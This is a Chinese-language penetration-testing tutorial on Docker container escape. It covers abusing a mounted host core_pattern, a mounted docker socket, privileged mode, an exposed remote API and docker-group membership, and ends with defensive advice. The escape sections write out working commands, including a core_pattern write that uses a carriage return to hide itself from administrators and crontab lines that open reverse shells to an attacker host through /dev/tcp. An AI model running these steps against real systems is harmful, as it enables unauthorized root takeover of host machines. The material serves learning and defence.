Docker逃逸
Docker逃逸
本文章鉴于在渗透过程中拿到一个docker的shell,特此来学docker逃逸,参考文章已放于文章末尾,特此感谢
在渗透中遇到拿到web服务的shell之后,发现自己在docker环境中,需要进一步渗透,逃逸到宿主机。有时候甚至宿主机还是虚拟机的环境,这就要进行虚拟机逃逸了。
如何判断当前环境是否在Docker里
1.Metasploit 中的checkcontainer模块检测(判断是否为虚拟机,checkvm 模块)
用于判断目标系统是否运行在容器内,并能识别出具体的容器类型Docker
我们可以利用它检测的思路
- 检查根目录下是否存在.dockerenv文件
1 | ls -al / |

- 检查
/proc/1/cgroup进程控制块内的控制组是否存在含有docker字符串!1号进程一般是根进程
1 | cat /proc/1/cgroup | grep docker |

- 看挂载点,看/proc/1/mountinfo眼中的文件系统是什么样子的
如果是容器,会看到密密麻麻的 overlay挂载,挂载参数里出现lowerdir=…,/docker/id
1 | cat /proc/1/mountinfo |

挂载宿主机procfs逃逸
前置知识:
1.Linux User Namespace是linux的一项安全功能。核心作用:UID/GID映射隔离
开启UserNS–>容器内看起来是 root(uid=0),映射到宿主机其实是普通非 0UID
没开启UserNS–>容器内 root(uid=0)=== 宿主机真实 root(uid=0),UID完全对等。内核层面不做身份转换,容器root操作宿主机文件或接口时,权限等同于宿主机最高管理员。
2.procfs
进程文件系统,挂载路径固定/proc,存放进程相关目录,存放全局系统硬件、资源信息,存放内核动态配置项 /proc/sys/,以及存放其他特殊虚拟文件如/proc/mounts全系统所有挂载清单
3.core_pattern
它控制“进程崩溃后怎么处理core dump”。(程序运行中发生段错误、空指针、崩溃时,Linux会把这个进程当时完整内存、寄存器、调用栈全部保存成一个文件,用来事后调试崩溃原因,这个文件就叫 core 文件,整个行为叫core dump)
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。例如,写入 |/tmp/shell.sh,那么任何程序崩溃都会触发执行 /tmp/shell.sh。
4.overlay2
Docker镜像由多层只读文件堆叠而成,为了不破坏原始镜像,容器所有新增/修改/删除文件不会改动只读镜像,全部写到独立可写层,再通过合并层对外展示完整文件系统,这套机制就是 Overlay2。Overlay2驱动程序通过Linux内核的OverlayFS特性,在内存中动态将这几层“合并”成一个统一的视图,并挂载到容器的根目录(/)。对于容器内的进程来说,它“对外”看到的文件系统就是一个完整的、单一的逻辑根目录,完全感知不到分层机制的存在。
虽然容器内的进程看到的是合并视图,但这个视图在宿主机上也有一个物理落点。Docker会在宿主机的 /var/lib/docker/overlay2/<容器ID>/merged/ 目录下,实际挂载这个合并后的文件系统。宿主机内核通过这个挂载点,将合并后的视图暴露给容器的 Mount Namespace(挂载命名空间)。如果没有这个“对外”暴露,容器进程就无法通过系统调用访问到任何文件。
挺晦涩难懂的说实话。。。。。如果你不想了解那么多底层细节。。就直接看漏洞分析!!!
总结挂载的全流程
阶段 1:在宿主机全局 Namespace 中完成挂载(容器启动前)
Docker Daemon 在宿主机上执行 mount 系统调用。此时没有任何新 Namespace 被创建,这个挂载操作就发生在宿主机的根 Namespace 里。内核在宿主机的全局挂载树中创建了一个挂载点对象,路径是 /var/lib/docker/overlay2/<ID>/merged。这时候,你在宿主机执行 ls 是能看到这个目录内容的。
阶段 2:创建容器进程的Mount Namespace
Docker 调用 clone() 或 unshare() 系统调用启动容器进程,并传入 CLONE_NEWNS 标志。这一刻,新的 Mount Namespace 才被创建出来。新空间刚诞生时,内核会完整复制一份父级(宿主机)的挂载点列表给这个新空间作为“初始值”。此时,由于复制了父级列表,这个新 Namespace 的进程暂时也能看到宿主机的 /var/lib/docker/overlay2/<ID>/merged,以及宿主机的其他大量挂载点(比如 /dev、/sys 等)。如果就此打住,容器进程就能看到宿主机的全部文件系统,这显然不是我们想要的。
阶段 3:移动挂载点(pivot_root 或 mount --move)
紧接着,容器运行时在这个新的Namespace内部执行 mount --move 命令,将刚才挂载好的 /var/lib/docker/overlay2/<ID>/merged从宿主机路径摘下来,直接移动到该 Namespace 的 /(根目录)上。
- 执行完
mount --move后,宿主机全局 Namespace 的/var/lib/docker/overlay2/<ID>/merged路径就消失不见了(宿主机ls看不到了)。 - 同时,这个挂载点对象被完全“嫁接”进了新 Namespace 的挂载树根部。
为什么 Docker 非要绕这么大一圈(先挂载再移动),而不直接在容器内挂载?
因为创建新 Namespace 时必须先有进程,而挂载 Overlay 需要宿主机路径权限。先由特权级的 Docker Daemon 在宿主机空间挂载好,再将整个挂载点原子性地“移交”给新空间,可以完美避免挂载过程中的权限泄露和竞争问题。
1 | /var/www/html/ >cat /proc/mounts |
可以看到虽然挂载点挪了窝,但内核根本没有修改挂载点对象内部存储的字符串属性。upperdir= 和 workdir= 依然死死保留着当初在宿主机挂载时传入的绝对路径
容器内进程:此时 PHP/Nginx 进程启动,它看到自己的根目录 / 就是这个 Overlay 合并视图。当它读取 /var/www/html/index.php 时,内核通过 OverlayFS 驱动,根据内存中记录的 lowerdir 和 upperdir 路径去物理磁盘找数据。
修改文件:当你在容器内执行 echo "hello" > /var/www/html/test.txt 时,OverlayFS 触发写时复制(CoW)。这个新文件不会碰只读镜像层,而是被内核直接物理写入到了 upperdir=/var/lib/docker/overlay2/756a.../diff 对应的目录里。
1 | upperdir=/var/lib/docker/overlay2/756a24cf9efeb3cbdf4f9f14fe61b0da4dd26a5f3b2bd641a9a301fb6b0c3be6/diff |
漏洞分析
如果你没有看前面的底层细节就记住
容器根目录 / 在宿主机上是被映射到 /var/lib/docker/overlay2/<ID>/merged这个路径的
例如在容器内的/tmp目录,对应的宿主机目录就是/var/lib/docker/overlay2/<ID>/merged/tmp
环境搭建:
创建容器并挂载/proc目录:
1 | docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu |
就等于把宿主机的核心系统文件“挂载”进了容器内部
两个危险因素的结合
- 容器内是root:Docker默认不开启User Namespace,容器内的root(UID=0)与宿主机的root是同一个用户。
- **挂载了宿主机
/proc**:由于容器内是root,它对挂载进来的/host/core_pattern文件就有了写权限。
至此,攻击者便获得了向宿主机核心文件写入恶意指令的能力
信息收集:
假设现在一个docker容器里
如果发现了两个core_pattern文件,则可能就是挂载了宿主机的procfs:
1 | find / -name core_pattern |
找到容器根目录 / 在宿主机上的实际映射路径(这两个命令都可以,主要是拿到绝对路径前面的部分)
1 | cat /proc/mounts | xargs -d ',' -n 1 | grep workdir |
/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/work
/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/diff
所以容器内的根目录,在宿主机上就是/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged
部署“幽灵脚本”
在容器内的/tmp目录下创建一个反弹shell的Python脚本shell.py—-(对应宿主机路径/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged/tmp/.shell.py)
1 | #!/usr/bin/python3 |
赋予执行权限:
1 | chmod 777 .shell.py |
将脚本写入到目标的proc目录下:
|:告诉内核,这是一个要执行的程序。
.../merged/tmp/.shell.py:指向容器内脚本在宿主机上的绝对路径
\rcore:这是一个常见的“隐藏”技巧。\r 是回车符,它会让管理员用 cat 查看该文件时,只看到 core,而忽略了前面的恶意命令。
1 | echo -e "|/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged/tmp/.shell.py \rcore " > /host/proc/sys/kernel/core_pattern |
触发“幽灵”
制造崩溃:在容器内编译并运行一个会“段错误”的程序,如对空指针进行解引用*a = 1
在攻击机上开启监听,接下来只需要让容器崩溃重启即可执行反弹shell脚本,使用程序实现:
1 | #include<stdio.h> |
编译一下gcc .crash.c -o .crash
接下来就是
程序崩溃事件被Linux内核捕获,它读取 core_pattern 文件,看到 |,于是以宿主机root权限执行了 /var/lib/docker/overlay2/.../merged/tmp/.shell.py。
最后成功监听到宿主机的反弹shell
逃逸成功
(如果你看了底层又看了漏洞分析,会感觉稍微有点懵逼。。。其实前面总结的:“容器内的根目录,在宿主机上就是 …/merged”。严谨地说还是不太对,因为这是“逻辑上的正确入口”,物理真相是容器内新创建的文件(如创建的.shell.py),实际上是躺在…/diff/tmp/里的,但是,宿主机内核在执行 core_pattern 时,shell.py这个脚本必须通过 …/merged这个挂载点入口去访问,因为merged是OverlayFS暴露给内核VFS(虚拟文件系统)的统一大门。内核通过这个大门,才能利用 OverlayFS 的合并逻辑,找到藏在diff里的文件)
挂载docker socket逃逸
关于什么是/var/run/docker.sock
运行过Docker Hub的Docker镜像的话,会发现其中一些容器时需要挂载/var/run/docker.sock文件。这个文件是什么呢?为什么有些容器需要使用它?简单地说,它是Docker守护进程(Docker daemon)默认监听的Unix域套接字,容器中的进程可以通过它与Docker守护进程进行通信。
通过这个Socket可以下发创建、启动、删除容器的指令,查询和管理容器、镜像、网络、卷,向守护进程传递任何参数;
若容器挂载了/var/run/docker.sock,就相当于获得了 Docker CLI(命令行接口)的完全访问权限,通过 Docker API,可以在容器内部直接管理宿主机上的 Docker进程,最终导致容器逃逸
环境搭建
1 | docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu |
进入容器并安装docker命令行客户端:(因为容器内原本没有 docker 命令)
1 | docker exec -it with_docker_sock /bin/bash |
信息收集
1 | ls -lah /var/run/docker.sock |
若文件存在,则可能存在该漏洞
漏洞利用
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部,并进入该新容器的 Bash:
1 | docker run -it -v /:/host ubuntu /bin/bash |
这条指令是通过Socket发给宿主机的dockerd执行的,它能够访问宿主机的整个文件系统
最后一步
1 | chroot /host |
进入新容器后,执行 chroot /host 会将当前进程的根目录切换为 /host,而 /host 就是宿主机的真实根目录。
即完成了逃逸
privileged特权模式逃逸
当 Docker 容器以 --privileged 启动时,会获得以下权限
- 完全设备访问权限:可访问宿主机所有设备(如
/dev/sda或vda、/dev/tty等)。 - 绕过 Linux Capabilities 限制:默认容器仅保留部分权限(如
CAP_CHOWN、CAP_NET_BIND_SERVICE),特权模式赋予容器所有Capabilities(包括CAP_SYS_ADMIN)。 - 禁用安全隔离机制:包括 Seccomp、AppArmor/SELinux 的部分限制
环境搭建
首先有一个普通用户Co0kieslover,并且加入了 docker 组:
1 | 新建一个用户,创建家目录,指定shell环境为bash |
在普通用户下使用--privileged=true创建一个容器
1 | docker run --rm --privileged=true -it alpine |
至此环境搭建完毕
信息搜集
判断是否为特权模式:
1 | cat /proc/self/status | grep CapEff |
如果docker是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff:
漏洞利用
方法1
查看磁盘挂载设备:发现宿主机磁盘/dev/vda3
1 | fdisk -l |
将其挂载到/test目录:这时候就可以尝试读取任意文件:
1 | mkdir /test && mount /dev/vda3 /test |
我们还可以尝试写定时任务来反弹shell:
输出重定向>> /test/etc/crontab,因为之前的 mount /dev/vda3 /test 已经把宿主机的根目录挂载到了容器内的 /test下,所以 /test/etc/crontab 实际上就是宿主机系统的 crontab 文件。
时间规则 * * * * *,5 个 * 分别代表分、时、日、月、周。全为 * 表示每分钟执行一次
指定执行命令的用户身份为root
1 | echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/攻击者ip/7777 0>&1"' >> /test/etc/crontab |
攻击者在自己的服务器监听就好
1 | nc -lvnp 7777 |
方法2
和前面提到的方法类似,由于我们将宿主机根目录挂载到了/test,而我们的shell本身权限又是root,所以这里可以直接chroot将/test改为根目录:
1 | chroot /test |
docker远程API未授权访问逃逸
基础知识
docker remote api 可以执行 docker 命令,若配置错误将其暴露在公网,攻击者可通过远程调用 Docker API直接管理容器,进而导致逃逸getshell
环境搭建
-H(–host)指定Docker 服务允许哪些渠道连接、管理Docker
本机通过sock文件正常操作Docker
将docker守护进程监听在0.0.0.0:全网任意机器都能通过 IP:2375 无密码调用Docker远程 API
1 | dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 |
信息收集
在攻击机上远程连接另一台机器的dockerd服务试试
走TCP协议访问远程API
images列出目标机器上所有本地镜像
1 | docker -H tcp://x.x.x.x:2375 images |
列出目标机器镜像即漏洞存在
漏洞利用
在这种情况下,我们相当于可以任意控制目标服务器的docker了
那么我们可以新运行一个容器,挂载点设置为服务器的根目录挂载至/test目录下
run 远程在目标机器上新建并启动一个容器
-it+/bin/bash 合起来就是拿到交互式shell,能手动输入命令
-v /:/test 把目标服务器整个硬盘根目录,完整映射到容器里的/test文件夹。
nginx:latest 使用nginx最新镜像作为容器运行环境
1 | docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/test nginx:latest /bin/bash |
宿主机目录挂载过来之后的思路就一样了还是
1 | chroot /test |
或者定时任务监听:
1 | echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"' >> /test/etc/crontab |
至此成功获取宿主机权限
内核漏洞逃逸
都来看大佬文章:👍👍👍膜拜
就是宿主机的内核存在漏洞的情况下的一些利用,简单来说就是提权类的内核漏洞会很可能导致容器逃逸
这些内核漏洞通常是一些CVE,以CVE-2016-5195(dirty cow)为例:
和权限提升时的dirty利用方法差不太多,之所以能实现逃逸,是因为docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机,其他的利用细节不再赘述
- CVE-2019-16884
- CVE-2021-3493
- CVE-2021-22555
- CVE-2022-0492
- CVE-2022-0847
- CVE-2022-23222
docker用户组提权
基础知识:
其实这个和上面特权模式的利用方式有点类似。前提是拿到一个普通用户的shell,并且这个普通用户属于docker组。
上面没有详细说。其实docker用户组就是Docker 在安装时会创建一个docker用户组。任何属于该组的用户,都拥有通过 /var/run/docker.sock 这个Unix套接字与Docker守护进程通信的权限
前面复现特权模式逃逸的时候,我们已经创建了一个Co0kieslover用户并加入了docker组
所以切换到该用户即可进行复现:
信息搜集
查看发现当前用户在docker组中
1 | groups |
那么可以尝试docker用户组提权
漏洞利用
这里直接拉取一个针对上面情况的提权镜像,大致原理就是拉取镜像时将宿主机根目录挂载进docker,而docker启动后自动执行启动脚本chroot逃逸出来了,详细内容可以参考镜像的github:
chrisfosterelli/rootplease镜像的工作原理呢,其实就像上面我们手动利用的一样—-挂载宿主机根目录、chroot切换根目录、拿到宿主机Root Shell
为了方便直接拉取一个镜像,一键提权了
https://github.com/chrisfosterelli/dockerrootplease
1 | docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease |
就提权成功了。
针对docker逃逸的防御措施
针对上面提到的手段,可以有如下防御措施:
- 即时更新docker
- docker使用capabilities时需要遵循最小特权原则
- 尽量在启动容器时使用–user选项指定容器以非特权用户身份运行
- 不要直接挂载主机文件,尽量使用数据卷或共享文件系统
- 将容器中的root用户映射为宿主机中的普通用户
- 不要在容器中挂载docker socket,也不要将docker api配置到公网





